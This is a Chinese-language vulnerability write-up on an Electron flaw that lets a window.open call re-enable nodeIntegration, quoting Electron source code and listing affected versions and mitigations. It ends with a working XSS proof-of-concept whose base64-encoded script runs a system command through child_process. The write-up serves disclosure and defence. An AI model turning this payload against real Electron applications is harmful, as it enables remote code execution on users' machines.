导语:Electron是一个使用JavaScript, HTML和CSS等Web技术创建原生程序的框架,研究人员发现一个影响Electron所有版本的远程代码执行漏洞。
1周前,研究人员发现一个影响Electron所有版本的漏洞,利用该漏洞可以开启nodeIntegration,这可能会造成远程代码执行。Electron是一个使用JavaScript,HTML和CSS等Web技术创建原生程序的框架,它负责比较难搞的部分,而用户只需把精力放在应用的核心上即可。Slack、Discord、Signal、Atom、Visual Studio Code、Github桌面版等很多的应用都是用了Electron框架。
Electron是web应用,也就是说如果没有正确对用户输入进行处理的话就可能会受到XSS脚本攻击。默认的Electron应用不仅可以包含对自己API的访问,还包含对所有Node.js植入模块的访问。这会让XSS攻击的危险变大,因为攻击者的payload可以做很多的坏事,比如在客户端执行系统命令等。Atom前不久就被曝类似的XSS漏洞。用户可以将nodeIntegration: false传入应用webPreferences中,来移除对Node.js的访问。
还有一个webview的tag特征可以将内容嵌入到Electron应用中,并以独立的进程运行。当使用webview tag时,你可以传递一些属性值,其中就包括nodeIntegration。WebView容器默认是不开启nodeIntegration的。文档描述了如果webviewTag选项没有在webPreferences中明确说明,就会继承nodeIntegration的设定值的权限。
默认情况下,Electron会使用传统的window.open()函数来创建一个BrowserWindow的新实例。子窗口默认会继承父窗口的所有选项。传统的window.open()函数允许用户通过在featuresargument中传递一些值来修改继承的选项的值:
if (!usesNativeWindowOpen) { // Make the browser window or guest view emit "new-window" event. window.open = function (url, frameName, features) { if (url != null && url !== '') { url = resolveURL(url) } const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features)) if (guestId != null) { return getOrCreateProxy(ipcRenderer, guestId) } else { return null } } if (openerId != null) { window.opener = getOrCreateProxy(ipcRenderer, openerId) } }
当Electron的window.open函数被调用,就会触发一个ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。该事件处理器会将这些特征进行语法分析,并把这些特征加入到新创建的窗口的选项中,然后触发ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN事件。为了防止子窗口做坏事,guest-window-manager.js含有一个webPreferences选项的硬编码的列表和限定值:
// Security options that child windows will always inherit from parent windows const inheritedWebPreferences = new Map([ ['contextIsolation', true], ['javascript', false], ['nativeWindowOpen', true], ['nodeIntegration', false], ['sandbox', true], ['webviewTag', false] ]);
ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPEN事件处理器调用mergeBrowserWindowOptions函数来确保父窗口webPreferences的限制属性应用到子窗口:
const mergeBrowserWindowOptions = function (embedder, options) { [...] // Inherit certain option values from parent window for (const [name, value] of inheritedWebPreferences) { if (embedder.getWebPreferences()[name] === value) { options.webPreferences[name] = value } } // Sets correct openerId here to give correct options to 'new-window' event handler options.webPreferences.openerId = embedder.id return options }
这就是该漏洞的核心。mergeBrowserWindowOptions函数并不会考虑到这些限制属性的默认值是否定义过。或者说,如果webviewTag: false没有在应用的webPreferences中明确定义,当mergeBrowserWindowOptions函数检查webview Tag时,就会返回undefined,让上面的if判断返回错误,就不会应用父窗口的webviewTag preference。这会让window.open以额外特征的方式传递webview Tag选项,重新开启nodeIntegration,并最终导致潜在的远程代码执行。
POC
下面的POC说明了XSS payload如何在运行时重新开启nodeIntegration,并执行系统命令:
<script> var x = window.open('data://yoloswag','','webviewTag=yes,show=no'); x.eval( "var webview = new WebView;"+ "webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+ "webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+ "document.body.appendChild(webview)" ); </script>
poc执行的条件为:
· Electron应用的nodeIntegration是关闭的;
· 含有没有适当处理用户输入的XSS漏洞或其他依赖该应用的漏洞;
· Electron 版本< 1.7.13, < 1.8.4, 或 < 2.0.0-beta.3;
· 没有在webPreferences中声明webviewTag: false;
· 或没有在webPreferences中开启nativeWindowOption选项;
· 或没有用选项tag来拦截新窗口时间或覆写 event.newGuest。
如果以上条件满足,那么POC就可以在有漏洞的Electron版本上远程代码执行。